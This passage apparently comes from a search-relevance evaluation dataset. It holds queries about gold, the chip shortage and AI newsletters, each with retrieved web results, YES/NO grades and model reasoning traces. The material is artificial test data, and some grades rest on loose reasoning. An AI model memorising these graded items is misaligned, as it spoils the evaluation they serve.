                "text": "Tungsten, 74W Tungsten Pronunciation \u200b( TUNG-st\u0259n ) Alternative name wolfram, pronounced: ( WUUL-fr\u0259m ) Allotropes \u03b1-tungsten (common), \u03b2-tungsten Appearance grayish white, lustrous Standard atomic weight A r\u00b0(W) 183.84\u00b10.01 183.84\u00b10.01 (abridged) [1] Tungsten in the periodic table\n\nHydrogen\n\nHelium\n\nLithium\n\nBeryllium\n\nBoron\n\nCarbon\n\nNitrogen\n\nOxygen\n\nFluorine\n\nNeon\n\nSodium\n\nMagnesium\n\nAluminium\n\nSilicon\n\nPhosphorus\n\nSulfur\n\nChlorine\n\nArgon\n\nPotassium\n\nCalcium\n\nScandium\n\nTitanium\n\nVanadium\n\nChromium\n\nManganese\n\nIron\n\nCobalt\n\nNickel\n\nCopper\n\nZinc\n\nGallium\n\nGermanium\n\nArsenic\n\nSelenium\n\nBromine\n\nKrypton\n\nRubidium\n\nStrontium\n\nYttrium\n\nZirconium\n\nNiobium\n\nMolybdenum\n\nTechnetium\n\nRuthenium\n\nRhodium\n\nPalladium\n\nSilver\n\nCadmium\n\nIndium\n\nTin\n\nAntimony\n\nTellurium\n\nIodine\n\nXenon\n\nCaesium\n\nBarium\n\nLanthanum\n\nCerium\n\nPraseodymium\n\nNeodymium\n\nPromethium\n\nSamarium\n\nEuropium\n\nGadolinium\n\nTerbium\n\nDysprosium\n\nHolmium\n\nErbium\n\nThulium\n\nYtterbium\n\nLutetium\n\nHafnium\n\nTantalum\n\nTungsten\n\nRhenium\n\nOsmium\n\nIridium\n\nPlatinum\n\nGold\n\nMercury (element)\n\nThallium\n\nLead\n\nBismuth\n\nPolonium\n\nAstatine\n\nRadon\n\nFrancium\n\nRadium\n\nActinium\n\nThorium\n\nProtactinium\n\nUranium\n\nNeptunium\n\nPlutonium\n\nAmericium\n\nCurium\n\nBerkelium\n\nCalifornium\n\nEinsteinium\n\nFermium\n\nMendelevium\n\nNobelium\n\nLawrencium\n\nRutherfordium\n\nDubnium\n\nSeaborgium\n\nBohrium\n\nHassium\n\nMeitnerium\n\nDarmstadtium\n\nRoentgenium\n\nCopernicium\n\nNihonium\n\nFlerovium\n\nMoscovium\n\nLivermorium\n\nTennessine\n\nOganesson\n\nMo \u2191 W \u2193 Sg\n\ntantalum \u2190 tungsten \u2192 rhenium\n\nAtomic number (Z) 74 Group group 6 Period period 6 Block d-block Electron configuration [Xe] 4f14 5d4 6s2 [2] Electrons per shell 2, 8, 18, 32, 12, 2 Physical properties Phase at STP solid Melting point 3695 K \u200b(3422 \u00b0C, \u200b6192 \u00b0F) Boiling point 6203 K \u200b(5930 \u00b0C, \u200b10706 \u00b0F) Density (near r.t.) 19.25 g/cm3 when liquid (at m.p.) 17.6 g/cm3 Heat of fusion 52.31 kJ/mol [3] [4] Heat of vaporization 774 kJ/mol Molar heat capacity 24.27 J/(mol\u00b7K) Vapor pressure\n\nP (Pa)\n\n1\n\n10\n\n100\n\n1 k\n\n10 k\n\n100 k\n\nat T (K)\n\n3477\n\n3773\n\n4137\n\n4579\n\n5127\n\n5823\n\nAtomic p",
                "model_trace": "Query Decomposition:\n1. {common name}: The document should provide the common name of the element -> ([1], UNSATISFIED)\n2. {chemical element with atomic number 79}: The document should identify the element with atomic number 79 -> ([1], UNSATISFIED)\n\nAssessment: The document is about tungsten, which has the atomic number 74, not 79. Therefore, it does not satisfy the subcomponents related to the query. NO."
            },
            {
                "grade": "YES",
                "title": "Gold - Element information, properties and uses | Periodic ...",
                "url": "https://www.rsc.org/periodic-table/element/79/gold",
                "published_date": null,
                "text": "Transcript :\n \n Chemistry in its element: gold    (Promo)   You're listening to Chemistry in its element brought to you by Chemistry World, the magazine of the Royal Society of Chemistry.   (End promo)    Chris Smith  Hello, in this week's episode of Chemistry in its element, we're taking a flight on Concorde, dropping by Buckingham Palace and finding out what could form a film just 230 atoms thick. Going for gold for us this week, here's the legendary science broadcaster and populariser Johnny Ball.   Johnny Ball  The element gold. Gold is element 79 and its symbol is Au. Though the name is Anglo Saxon, gold originated from the Latin Aurum, or shining dawn, and previously from the Greek. It's abundance in the earth's crust is 0.004 ppm.  100% of gold found naturally is isotope Au-197. 28 other isotopes can be produced artificially and are all radioactive. Gold along with silver and copper, form a column in the periodic table. They are found naturally and were the first three elements known to man. They were all used as primitive money well before the first gold coins which appeared in Egypt around 3400 BC. Most gold is ancient or comes from Central American Aztecs and South American Incas brought to Europe by the Spanish and Portuguese in the 16th century, and which has since been recycled over and over again. In 1830 world output was no more than 12 tonnes per annum. But around that time, new gold discoveries were being made. Finds were discovered in Siberia, California, New South Wales and Victoria, Australia, Transvaal, South Africa, the Klondike and Alaska, and they all produced gold rushes. World production was then around 150 tonnes per year. It is now around 2300 tones per annum. Because it is found in it's natural state and does not naturally alloy with anything else and because it is the heaviest metal, by sifting rock in water, the gold always falls to the bottom and all less dense impurities are washed away.  The largest nugget was the Welcome Stranger nugget found in Victoria, Australia in 1869. It w",
                "model_trace": "Query Decomposition:\n1. [common name]: The query is asking for the common name of a chemical element.\n2. [chemical element with atomic number 79]: The query specifies the element by its atomic number.\n\nEvaluation:\n1. {common name}: The document mentions \"gold\" as the element -> ([1], SATISFIED)\n2. {chemical element with atomic number 79}: The document specifies that gold is element 79 -> ([1], SATISFIED)\n\nAssessment: The document clearly states that the chemical element with atomic number 79 is gold, satisfying both key subcomponents. YES"
            },
            {
                "grade": "YES",
                "title": "Chemical Symbol for Gold: Why the Atomic Number is 79?",
                "url": "https://www.auricjewellery.com/en-us/blogs/news/what-is-the-chemical-symbol-for-gold-79",
                "published_date": null,
                "text": "Gold is a chemical element with the symbol Au and atomic number 79. The name is from the Latin: aurum, meaning \"shiny dawn\". Gold is a dense, soft, shiny solid metal. It is a chemical element of the group of elements known as transition metals.\nThe red-orange metal can be found in nature as nuggets or grains. But it is usually mixed with other metals because pure gold is too soft to work easily. Gold being soft allows you to make gold jewellery, by mixing other metals such as silver or copper to make what are called 'gold alloys'.\nGold is not just used to make coins, gold bars, and jewellery but can also be used to coat electrical devices in order to prevent corrosion. Gold is a good conductor of electricity so it can be used for connectors on instruments with electric circuitry as well.\n \nWhy is Atomic Chemical Symbol for Gold 79?\nThe reason why Chemical Symbol for gold 79 is because if gold was to be placed under a microscope, we would see electrons orbiting around a nucleus that contains 79 protons. Hence why Scientific Chemical Symbol for Gold is Au because its Atomic Number (a number that represents the number of protons in an atom) is 79.\nWhy is Gold a Precious Metal?\nGold is one of the most sought-after metals in the world and there's no wonder why. Not only does gold has an attractive colour, but also has many qualities that make it desirable like durability to corrosion and oxidation which makes it a noble metal. Gold shares qualities with other precious metals like silver, platinum, or palladium; they don't rust or corrode either! (But not all precious metals are noble metals)\nWe use 18ct Solid Gold to Make Our Jewellery\nWe use\u00a0fine 18ct solid gold to make our Fine Jewellery for women. \nGold has always been a favourite metal for making fine gold jewellery, but it's not just about the colour. Gold also offers durability and shine that no other material can match! From delicate pieces like necklaces or earrings to chains bracelets and pendants, gold is an excellent choice because of its versatility in the",
                "model_trace": "Query Decomposition:\n1. {common name for the chemical element with atomic number 79}: This document provides information about the chemical element with atomic number 79, stating that it is gold -> ([1], SATISFIED).\n\nAssessment: The document clearly states that the common name for the chemical element with atomic number 79 is gold. YES."
            },
            {
                "grade": "YES",
                "title": "Gold",
                "url": "https://en.wikipedia.org/wiki/Gold",
                "published_date": null,
                "text": "Gold,\u00a079Au         Gold   Appearance metallic yellow        Standard atomic weight A r\u00b0(Au)        196.966570\u00b10.000004 196.97\u00b10.01\u00a0(abridged) [1]        Gold in the periodic table    \n \n \n \n Hydrogen\n Helium\n \n Lithium\n Beryllium\n Boron\n Carbon\n Nitrogen\n Oxygen\n Fluorine\n Neon\n \n Sodium\n Magnesium\n Aluminium\n Silicon\n Phosphorus\n Sulfur\n Chlorine\n Argon\n \n Potassium\n Calcium\n Scandium\n Titanium\n Vanadium\n Chromium\n Manganese\n Iron\n Cobalt\n Nickel\n Copper\n Zinc\n Gallium\n Germanium\n Arsenic\n Selenium\n Bromine\n Krypton\n \n Rubidium\n Strontium\n Yttrium\n Zirconium\n Niobium\n Molybdenum\n Technetium\n Ruthenium\n Rhodium\n Palladium\n Silver\n Cadmium\n Indium\n Tin\n Antimony\n Tellurium\n Iodine\n Xenon\n \n Caesium\n Barium\n Lanthanum\n Cerium\n Praseodymium\n Neodymium\n Promethium\n Samarium\n Europium\n Gadolinium\n Terbium\n Dysprosium\n Holmium\n Erbium\n Thulium\n Ytterbium\n Lutetium\n Hafnium\n Tantalum\n Tungsten\n Rhenium\n Osmium\n Iridium\n Platinum\n Gold\n Mercury (element)\n Thallium\n Lead\n Bismuth\n Polonium\n Astatine\n Radon\n \n Francium\n Radium\n Actinium\n Thorium\n Protactinium\n Uranium\n Neptunium\n Plutonium\n Americium\n Curium\n Berkelium\n Californium\n Einsteinium\n Fermium\n Mendelevium\n Nobelium\n Lawrencium\n Rutherfordium\n Dubnium\n Seaborgium\n Bohrium\n Hassium\n Meitnerium\n Darmstadtium\n Roentgenium\n Copernicium\n Nihonium\n Flerovium\n Moscovium\n Livermorium\n Tennessine\n Oganesson\n   \n Ag \u2191 Au \u2193 Rg\n \n platinum \u2190 gold \u2192 mercury\n   \n     Atomic number (Z) 79    Group   group\u00a011     Period   period\u00a06     Block  \u00a0 d-block     Electron configuration  [Xe] 4f14 5d10 6s1    Electrons per shell 2, 8, 18, 32, 18, 1   Physical properties    Phase at\u00a0STP   solid     Melting point  1337.33\u00a0K \u200b(1064.18\u00a0\u00b0C, \u200b1947.52\u00a0\u00b0F)     Boiling point  3243\u00a0K \u200b(2970\u00a0\u00b0C, \u200b5378\u00a0\u00b0F)     Density (near\u00a0r.t.) 19.3\u00a0g/cm3    when\u00a0liquid (at\u00a0m.p.) 17.31\u00a0g/cm3     Heat of fusion  12.55\u00a0kJ/mol     Heat of vaporization  342\u00a0kJ/mol     Molar heat capacity  25.418\u00a0J/(mol\u00b7K)      Vapor\u00a0pressure  \n \n  P \u00a0(Pa)\n1\n10\n100\n1\u00a0k\n10\u00a0k\n100\u00a0k\n \nat\u00a0 T \u00a0(K)\n1646\n1814\n2021\n2281\n2620\n3078\n   \n    Atomi",
                "model_trace": "Query Decomposition:\n1. {common name for the chemical element}: The document provides the common name for the chemical element with atomic number 79 -> ([1], SATISFIED)\n2. {atomic number 79}: The document explicitly mentions that gold has an atomic number of 79 -> ([1], SATISFIED)\n\nAssessment: Both key subcomponents are satisfied. The document clearly states that the chemical element with atomic number 79 is gold. YES."
            }
        ]
    },
    {
        "query": "How is the global semiconductor chip shortage affecting the tech industry and consumer electronics?",
        "grid_pos": [
            1,
            1
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: News",
        "reasoning_trace": [
            "The queries cover a range of current events and news topics that require a deep understanding of the context and nuance to answer well. They touch on geopolitics, supply chain issues, energy markets, climate change, and financial regulation - all areas that Exa should be able to handle with its strong knowledge of the internet and the world.\n\nThe queries are specific and detailed, testing Exa's ability to comprehend complex information and provide relevant, up-to-date news summaries. They do not have a single, simple answer, but rather require synthesizing multiple sources and perspectives to fully address."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "Stocks making the biggest moves premarket: Rivian, FedEx, Whirlpool, Nvidia, Micron and more",
                "url": "https://www.cnbc.com/2024/06/26/stocks-making-the-biggest-moves-premarket-rivn-fdx-whr.html?taid=667c05a55ce9f80001d4e01d&utm_campaign=trueanthem&utm_medium=social&utm_source=twitter%7Cmain",
                "published_date": "2024-06-26",
                "text": "Your Privacy Choices: Opt-out of sale of personal information and Opt-out of sharing or processing personal information for targeted ads To provide you with a more relevant online experience, certain online ad partners may combine personal information that we make available with data across different businesses and otherwise assist us with related advertising activities, as described in ourPrivacy Policy. This may be considered \u201cselling\u201d or \u201csharing/processing\u201d for targeted online advertising under applicable law.\nIf you are a resident of one of the states listed in the\u2018Your Rights\u2019 section of NBCUniversal\u2019s Privacy Policy, to opt out of us selling or sharing/processing your personal information: \n such as cookies and devices identifiers for the targeted ads and related purposes for this site/app on this browser/device: switch the \u201cAllow Sale of My Personal Info or Sharing/Processing for Targeted Ads\u201d toggle under Manage Preferences to OFF (grey color) by moving it LEFT and clicking \u201cConfirm My Choice\u201d. \nsuch as your name, email address and other associated personal information for targeted advertising activities as described above, please submit the form below. \n Please note that choices related to cookies and device identifiers are specific to the brand\u2019s website or app on the browser or device where you are making the election. Manage Preferences: Toggle Off and Click \u2018Confirm My Choice\u2019 and Complete Opt-Out Form to Opt-Out Allow Sale of My Personal Info and Sharing/Processing for Targeted Ads Resident of the states listed in the \u2018Your Rights\u2019 section of NBCUniversal\u2019s Privacy Policy Only: To opt out of selling or sharing/processing for targeted advertising of information such as cookies and device identifiers processed for targeted ads (as defined by law) and related purposes for this site/app on this browser/device, switch this toggle to off (grey color) by moving it left and clicking \u201cConfirm My Choice\u201d below. (This will close this dialogue box, so please open the email Opt-Out Form 1st). ALL OTHER LOCATION",
                "model_trace": "Query Decomposition:\n1. [How is the global semiconductor chip shortage affecting the tech industry]: The document does not contain information about the global semiconductor chip shortage or its effect on the tech industry -> ([0], UNSATISFIED)\n2. [How is the global semiconductor chip shortage affecting consumer electronics]: The document does not contain information about the global semiconductor chip shortage or its effect on consumer electronics -> ([0], UNSATISFIED)\n\nAssessment: Since the document does not address either of the key subcomponents related to the semiconductor chip shortage and its effects, it is not helpful for the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "Japan\u2019s biggest chipmakers from Toshiba to Sony brace for engineer shortage",
                "url": "https://www.ft.com/content/b90da329-a2e5-486a-860f-a20a3afc707a",
                "published_date": "2022-06-26",
                "text": "Be a global citizen.\n\nGain a global perspective on the US and go beyond with curated news and analysis from 600\n journalists in 50+ countries covering politics, business, innovation, trends and more.\n\nSubscribe to unlock this article\n\nTry unlimited access\n Try full digital access and see why over 1 million readers subscribe to the FT Only\n $1 for 4 weeks\n\nExplore our subscriptions\n\nIndividual\n Find the plan that suits you best.\n\nGroup\n Premium access for businesses and educational institutions.\n\nCookies on FT Sites\n\nWe use\n cookies\n and other data for a number of reasons, such as keeping FT Sites reliable and secure,\n personalising content and ads, providing social media features and to\n analyse how our Sites are used.",
                "model_trace": "Query Decomposition:\n1. [How is the global semiconductor chip shortage affecting the tech industry]: The document does not provide any information about this subcomponent -> ([0], UNSATISFIED)\n2. [How is the global semiconductor chip shortage affecting consumer electronics]: The document does not provide any information about this subcomponent -> ([0], UNSATISFIED)\n\nAssessment: The document does not contain any relevant information to evaluate the subcomponents of the query. NO."
            },
            {
                "grade": "YES",
                "title": "How the world went from a semiconductor shortage to a major glut",
                "url": "https://www.cnbc.com/2023/07/28/how-the-world-went-from-a-semiconductor-shortage-to-a-major-glut.html",
                "published_date": "2023-07-28",
                "text": "Wong Yu Liang | Moment | Getty Images The semiconductor shortage that affected everything from cars to games consoles during the height of the Covid-19 pandemic has turned into a chip glut \u2014 and some of the world's biggest chipmakers are taking a hit. Semiconductors are tiny components that are integral to a slew of products including refrigerators, cars, smartphones and LED bulbs. The Covid-19 pandemic caused huge disruption in the supply chains and production of chips, as consumers stuck at home went mad for products like PCs and smartphones. This boosted demand for semiconductors such as the memory chips made by South Korean firms Samsung, SK Hynix and . There was also increased demand for less-advanced chips required for processes like power management in devices. It led to a widespread shortage of products such as games consoles and even components for washing machines, which continued through the first half of 2022. There was also a lack of semiconductors that go into cars, leading to a drop in the production of vehicles from major automakers. While the supply and demand dynamics for some chips have since become more balanced, in other areas, the chip shortage has turned into a glut. Memory chip oversupply Two types of chips are in oversupply right now: NAND and DRAM memory. These go into devices like laptops and also servers in data centers. The glut came after companies began to stockpile chips amid the shortage to build up inventories. But then the economy slowed down. Demand for products like smartphones and laptops has dropped off in a big way \u2014 particularly as many people bought them during the pandemic. \"So, the makers of these end products stopped ordering chips and instead focused on selling through the inventory they already had,\" Peter Hanbury, partner in the telecoms, media and technology practice at Bain & Company, told CNBC. \"This led to a strong 'bullwhip' effect for the semiconductor markers further back in the supply chain where sky high demand during the chip shortage suddenly dried up as ",
                "model_trace": "Query Decomposition:\n1. {global semiconductor chip shortage}: The document discusses the semiconductor shortage that occurred during the Covid-19 pandemic and how it has turned into a glut -> ([1], SATISFIED)\n2. {affecting the tech industry}: The document mentions the impact on various tech products such as PCs, smartphones, and games consoles, and how companies stockpiled chips -> ([1], SATISFIED)\n3. {affecting consumer electronics}: The document discusses the impact on consumer electronics including smartphones, laptops, and washing machines -> ([1], SATISFIED)\n\nAssessment: The document satisfies all relevant subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "Global Chip Shortage: Everything You Need to Know",
                "url": "https://www.techrepublic.com/article/global-chip-shortage-cheat-sheet/",
                "published_date": null,
                "text": "What caused the global chip shortage?  \nLike many things, the chip shortage was the result of greater demand for integrated circuits.\nEven prior to the pandemic, the semiconductor supply chain was on shaky ground due to a series of events, including trade wars between the U.S. and China and Japan and Korea, which impacted commodity pricing and distribution. In addition, natural disasters, such as a drought in Taiwan and three plant fires in Japan between 2019 and 2021, contributed to raw materials shortages, according to Electronic Products &amp; Technology.\nOnce the automotive industry, a major buyer of semiconductors, began cutting chip orders in 2020, the semiconductor industry began shifting production to meet demand for other consumer applications. However, demand for cars picked up again in the second half of 2020 as people began avoiding public transportation. This exacerbated the supply and demand challenges further.\n SEE: Calculate your computer hardware\u2019s depreciation with this guide from TechRepublic Premium. \nThe rapid acceleration of the Internet of Things was another factor, and all of these combined variables \u201d \u2026 forever moves semiconductors ahead of oil as the world\u2019s key commodity input for growth,\u201d according to economic investment firm TS Lombard.\nSome customers are hoarding supplies and buying more components than they need in case supply dries up. For example, companies such as Huawei stockpiled supplies in advance of U.S. tech bans on China earlier this year. These actions further exacerbated supply challenges with semiconductors.\n  The semiconductor market size  \nMeanwhile, the semiconductor industry grows steadily and remains lucrative. In 2021, McKinsey estimated sales to grow by more than 20% to about $600 billion, with automotive, data storage and wireless industries leading the market (Figure A). The firm also predicts aggregate annual growth may average between 6% and 8% a year through 2030.\n Figure A \n Global semiconductor market value by vertical, according to McKinsey. Image: McKins",
                "model_trace": "Query Decomposition:\n1. {How is the global semiconductor chip shortage affecting the tech industry}: The document discusses the causes of the chip shortage and mentions its impact on the semiconductor industry, including shifts in production and supply challenges -> ([1], SATISFIED)\n2. {How is the global semiconductor chip shortage affecting consumer electronics}: The document mentions the impact on various consumer applications and industries like automotive, data storage, and wireless, which are part of consumer electronics -> ([1], SATISFIED)\n\nAssessment: The document provides detailed information on the causes of the global semiconductor chip shortage and its effects on both the tech industry and consumer electronics. YES."
            },
            {
                "grade": "YES",
                "title": "Semiconductor Chip Shortage's Continual Impact",
                "url": "https://schneiderdowns.com/our-thoughts-on/semiconductor-chip-shortages-continual-impact/",
                "published_date": null,
                "text": "The onset of the COVID-19 Pandemic has placed an increasing amount of pressure on manufacturers to meet the demand of businesses. All industries have been impacted by manufacturing and supply chain issues but none more than the semiconductor or \u201cchip\u201d market as it is more commonly referenced.\u00a0\nThe semiconductor shortage has impacted computing, consumer electronics, industrial electronics, wireless communications and, most notably, the automotive industry.\u00a0\nOrigins of the chip shortage can be tied to the beginning of the pandemic when lockdowns slowed or stopped production completely. With lockdowns in place and increased time spent at home, consumer technology saw an increase in demand which placed an additional constraint on the supply of semiconductor chips.\u00a0\nAs if the pandemic and lockdowns were not enough, severe winter weather forced domestic production of semiconductors to shut down, a fire in Japan\u2019s Renesas plant where 1/3 of the world\u2019s car chips are produced\u00a0and an ongoing trade war with China also hampered production. All these factors created a demand that was impossible to meet by suppliers.\u00a0\nAccording to Goldman Sachs, 169 industries have been impacted by the global chip shortage. The price of computers, computer accessories\u00a0and smart devices increased 3.7% year-over-year. The rise in price of smartphones and smart devices such as the iPhone and iPad can also be attributed to the shortage in chips. Apple relies on third-party chips to drive display and audio functionality of their devices but with large margins on the sale of their devices, Apple will remain mostly unaffected by the shortage.\nOther electronic companies such as Samsung and LG have been deeply impacted by the shortage. Televisions, household appliances, smartphones\u00a0and other electronic devices offered by both companies have been susceptible to low stock, backorders\u00a0and increased prices due to the inability to source chips. Additionally, both Microsoft and Sony have faced issues in fulfilling demand for their new consoles and accessori",
                "model_trace": "Query Decomposition:\n1. [How is the global semiconductor chip shortage affecting the tech industry]: The document discusses the impact on various sectors within the tech industry, including computing, industrial electronics, wireless communications, and the automotive industry -> ([1], SATISFIED)\n2. [How is the global semiconductor chip shortage affecting consumer electronics]: The document specifically mentions the impact on consumer electronics, including increased prices and supply issues for products from companies like Apple, Samsung, LG, Microsoft, and Sony -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents of the query. YES"
            },
            {
                "grade": "YES",
                "title": "A Global Semiconductor Shortage | CFR Education",
                "url": "https://education.cfr.org/learn/reading/global-semiconductor-shortage",
                "published_date": null,
                "text": "Expensive cars? Phone order delays? Learn how today\u2019s globalized supply chain can affect our daily lives by exploring the global semiconductor shortage.\nLast Updated\n March 14, 2023\n \n Employees work on the production line for LED epitaxial wafers at a semiconductor factory in Huai an, Jiangsu Province of China, on March 25, 2022.\n \n Source: Zhao Qirui/VCG via Getty Images\n \n Here\u2019s a riddle: What tiny device has delayed the release of cars, phones, and even blood pressure monitors ? Did you guess computer chips, otherwise known as \u201cmicrochips\u201d?\u00a0\nWhat are semiconductors?\nAlthough you probably don\u2019t hear about them often, microchips, also known as semiconductors, are an essential component of millions of products in the modern world.\nBut in the past few years, semiconductors have been in short supply, resulting in production delays across many industries. What caused those shortages?\nWhat caused the semiconductor shortage?\nMost disruptions in the supply chain have more than one culprit, and a challenge that can affect daily purchases in the United States has crossed multiple country borders.\nThe initial shortage was caused by the COVID-19 pandemic. Across the world, people called in sick, frequently missing days or weeks of work. Some countries started instituting lockdowns and quarantine policies to fight the virus, which left microchip factories in places like the E.U, Japan, South Korea, Taiwan, and the U.S. understaffed or completely closed. That delay in microchip production ultimately had ripple effects on the supply chains of the products that used them.\u00a0\nAt the same time, pandemic shopping lists filled with items that required microchips: laptops for kids attending school on Zoom, Xboxes and televisions to pass time during quarantine, and phones to FaceTime friends and family while locked down. In short, the pandemic lowered supply and increased demand for microchips, leading to a shortage of products and, sometimes, higher prices.\nIn 2022, a second factor began aggravating the shortage\u2014conflict in Ukraine",
                "model_trace": "Query Decomposition:\n1. [How is the global semiconductor chip shortage affecting the tech industry]: The document discusses the impact of the semiconductor shortage on various industries, including production delays in cars, phones, and other products -> ([1], SATISFIED)\n2. [How is the global semiconductor chip shortage affecting consumer electronics]: The document mentions delays in the release of consumer electronics like phones and laptops, as well as increased demand for these items during the pandemic -> ([1], SATISFIED)\n\nAssessment: The document clearly addresses both subcomponents of the query by explaining the causes of the semiconductor shortage and its effects on the tech industry and consumer electronics. YES"
            }
        ]
    },
    {
        "query": "What are some of the most popular Substack newsletters about the latest AI research and its societal implications?",
        "grid_pos": [
            1,
            2
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Blog Post/Substack/Personal Content",
        "reasoning_trace": [
            "The queries cover a range of topics that test Exa's understanding of current events, personal experiences, and niche interests. They require Exa to search for and understand the nuances of blog posts, Substack newsletters, and personal essays - content that goes beyond simple factual information. The queries have enough detail to be specific, but still leave room for Exa to demonstrate its ability to comprehend complex queries and provide relevant, high-quality search results."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "AI Safety Newsletter #1",
                "url": "https://newsletter.safe.ai/p/ai-safety-newsletter-1",
                "published_date": "2023-04-10",
                "text": "Welcome to the AI Safety Newsletter by the Center for AI Safety. We discuss developments in AI and AI safety. No technical background required. Recent advancements in AI have thrust it into the center of attention. What do people think about the risks of AI? The American public is worried. 46% of Americans are concerned that AI will cause \u201cthe end of the human race on Earth,\u201d according to a recent poll by YouGov. Young people are more likely to express such concerns, while there are no significant differences in responses between people of different genders or political parties. Another poll by Monmouth University found broad support for AI regulation, with 55% supporting the creation of a federal agency that governs AI similar to how the FDA approves drugs and medical devices. AI researchers are worried. A 2022 survey asked published AI researchers to estimate the probability of artificial intelligence causing \u201chuman extinction or similarly permanent and severe disempowerment of the human species.\u201d 48% of respondents said the chances are 10% or higher. We think this is aptly summarized by this quote from an NBC interview: Imagine you're about to get on an airplane and 50% of the engineers that built the airplane say there's a 10% chance that their plane might crash and kill everyone. Geoffrey Hinton, one of the pioneers of deep learning, was recently asked about the chances of AI \u201cwiping out humanity.\u201d He responded: \u201cI think it\u2019s not inconceivable. That\u2019s all I\u2019ll say.\u201d Leaders of AI labs are worried. While it might be nice to think the people building AI are confident that they\u2019ve got it under control, that is the opposite of what they\u2019re saying. Sam Altman (OpenAI CEO): \u201cThe bad case \u2014 and I think this is important to say \u2014 is lights out for all of us,\" Altman said.\u201d (source) Demis Hassabis (DeepMind CEO): \u201cWhen it comes to very powerful technologies\u2014and obviously AI is going to be one of the most powerful ever\u2014we need to be careful. Not everybody is thinking about those things. It\u2019s like experimentalists, man",
                "model_trace": "Query Decomposition:\n1. {popular Substack newsletters}: The document is a Substack newsletter, so this subcomponent is met -> ([1], SATISFIED)\n2. {about the latest AI research}: The document discusses recent advancements in AI, so this subcomponent is met -> ([1], SATISFIED)\n3. {and its societal implications}: The document discusses societal implications such as public concern, regulation, and the opinions of AI researchers and leaders, so this subcomponent is met -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES"
            },
            {
                "grade": "YES",
                "title": "AI Bits | Scott Moss | Substack",
                "url": "https://aibits.substack.com/",
                "published_date": "2023-07-20",
                "text": "What is AI Bits and why I made this newsletter Jul 20 \u2022 Scott Moss 2 1 Most Popular View all Paper Break: HyperDreambooth Jul 24 \u2022 Scott Moss 2 AI is not a competitive advantage Jul 22 \u2022 Scott Moss 3 New Paper Break: HyperDreambooth You can now train your face on a model 25x faster Jul 24 \u2022 Scott Moss 2 AI is not a competitive advantage GPT won't make your startup a winner Jul 22 \u2022 Scott Moss 3 <",
                "model_trace": "Query Decomposition:\n1. {popular Substack newsletters}: The document is a Substack newsletter, so this subcomponent is met -> ([1], SATISFIED)\n2. {about the latest AI research}: The content mentions \"Paper Break: HyperDreambooth\" and training models, which suggests it covers the latest AI research -> ([2], SATISFIED)\n3. {societal implications of AI}: The content includes \"AI is not a competitive advantage\" and \"GPT won't make your startup a winner,\" indicating discussions on societal implications -> ([2], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. YES"
            },
            {
                "grade": "YES",
                "title": "Last Week in AI",
                "url": "https://lastweekin.ai/",
                "published_date": "2023-01-30",
                "text": "Last Week in AI\n\nSubscribeSign in\n Home\n Chat\n News\n Editorials\n Podcast\n Archive\n About\n Share this publication\n\nLast Week in AI\n\nlastweekin.ai\n Copy link\n Twitter\n Facebook\n Email\n\nweekly text and audio summaries of the most interesting AI news, as well as editorials commenting on recent events\n\nJoin 9k+ subscribers\n Subscribe\n No thanks\n By registering you agree to Substack's Terms of Service, our Privacy Policy, and our Information Collection Notice\n Last Week in AI #204: Google's GPT3 for music, Buzzfeed embraces AI, a new video from Boston Dynamics, and more!Google created an AI that can generate music from text descriptions, BuzzFeed says it will use AI tools from OpenAI to personalize its content, Stanford students used ChatGPT on final exams\n Last Week in AI\n Jan 30\n 3\n Last Week in AI #203: ChatGPT's new rival, generative AI continues to make waves, new concerns about Deepfakes and more!Anthropic\u2019s Claude improves on ChatGPT but still suffers from limitations, Conservatives Think ChatGPT Has Gone \u2018Woke\u2019, Google is freaking out about ChatGPT\n Last Week in AI\n Jan 23\n 6\n Last Week in AI Podcast is back! ChatGPT, ChatGPT, ChatGPT, and some other stuffListen now (73 min) | Last Week in AI Podcast #110 - Humanoid robot prototype at Tesla AI Day, OpenAI open-sources a multilingual speech recognition system, Darth Vader\u2019s Voice Emanated From War-Torn Ukraine, and more!\n Andrey Kurenkov\n 18 hr ago\n The Impact and Future of ChatGPTWhat really powerful foundation models and generative models mean for AI researchers, tech, and the world at large.\n Jacky Liang\n Jan 17\n 7\n\nMost popular\n\nGPT-3 is No Longer the Only Game in Town\n Andrey Kurenkov\n 11\n 3\n The AI Scaling Hypothesis\n daniel bashir\n and\n Andrey Kurenkov\n 7\n 3\n The Inherent Limitations of GPT-3\n Andrey Kurenkov\n 6\n Neural nets are not \"slightly conscious,\" and AI PR can do with less hype\n Jacky Liang\n 4\n 3\n Kamikaze Drones in Russia\u2019s War Against Ukraine Point to Future \"Killer Robots\"\n Andrey Kurenkov\n 3\n 1\n Generating AI Art from Text with Google Colab\n A",
                "model_trace": "Query Decomposition:\n1. {popular Substack newsletters}: The document is about a Substack newsletter called \"Last Week in AI\" -> ([1], SATISFIED)\n2. {latest AI research}: The newsletter covers the most interesting AI news, including recent developments in AI research -> ([1], SATISFIED)\n3. {societal implications of AI}: The newsletter includes editorials commenting on recent events and societal implications of AI, such as concerns about Deepfakes and the impact of ChatGPT -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES."
            },
            {
                "grade": "NO",
                "title": "Latest AI Articles",
                "url": "https://substack.com/topics/ai",
                "published_date": null,
                "text": "I appreciate your posts. And look forward to playing with these projects this summer.    This spring I had to pivot as a high school English teacher trying to pitch the value of poetry to students. I was seeing writing with what I suspected had AI help to say the least, so I asked my students to write with integrity as they experimented with ChatGPT and poetry - asking big questions as to role of the poet in an AI world.    They had to credit AI where credit was due - indicating AI writing in bold font - as they wrote poems  and reflections on\u2026   Why write poetry?    Does poetry matter?    What\u2019s the point if large language models can generate sonnets and sestinas in seconds?    They read various Ars Poeticas by poets and wrote their own. They researched and presented more than 90 poets and cross checked with ChatGPT. This fact checking is essential as AI churns out words, words, words - some true, yet some false. Discernment is an essential skill. They concluded that writers write with an authentic voice that reflected their lived experience - and context is everything: historical, biographical, political, and social.    Echoing Ross Gay, writing serves as an \u201cevident artifact\u201d to thinking, to struggling,    to investigating, to enduring,    to living 